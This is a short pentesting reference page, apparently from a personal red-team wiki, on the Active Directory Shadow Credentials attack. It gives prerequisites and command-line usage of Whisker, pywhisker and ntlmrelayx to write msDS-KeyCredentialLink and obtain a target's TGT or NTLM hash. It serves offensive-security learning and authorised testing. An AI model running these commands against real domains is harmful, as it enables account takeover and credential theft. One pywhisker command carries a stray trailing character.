> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/active-directory/shadow-credentials.md).

# Shadow Credentials

Before jumping into exploiting Shadow Credentials, I highly recommend reading the [article from SpecterOps](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) on shadow credentials. 

### **Prerequisites** 

There are three prerequisites for this attack to be performed:

* The ability to write to the `msDS-KeyCredentialLink` attribute on the target. 
* [AD CS must be configured.](/pentesting/infrastructure/active-directory/ad-cs.md)
* A DC on the domain must be configured to support PKINIT. 

### Exploitation

After identifying a user account or machine account where the `msDS-KeyCredentialLink` attribute can be written to, [Whisker](https://github.com/eladshamir/Whisker) can be used to essentially automate the exploitation from a Windows machine:

```bash
# Generic usage of Whisker
Whisker.exe add /target:parzival

## https://github.com/ShutdownRepo/pywhisker
# Generic usage of PyWhisker
pywhisker.py -d $domain -u $user -p $password --target $target --action "list"x
```

Following running Whisker, it will provide a Rubeus command that can be executed in order to pull the targets TGT or NTLM hash. 

### Relaying

Ntlmrelayx also supports exploiting shadow credentials and can be used as follows:

```bash
# Relaying will work against either LDAP or LDAPS

# LDAPS
ntlmrelayx -t ldaps://parz-dc1 --shadow-credentials --shadow-target 'parz-dc2'

# LDAP
ntlmrelayx -t ldap://parz-dc1 --shadow-credentials --shadow-target 'parz-dc2'

## Failing to specify the --shadow-target will attempt to obtain a hash for the relayed user. 
ntlmrelayx -t ldap://parz-dc1 --shadow-credentials
```

### References

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials>" %}

{% embed url="<https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>" %}

{% embed url="<https://pentestlab.blog/2022/02/07/shadow-credentials/>" %}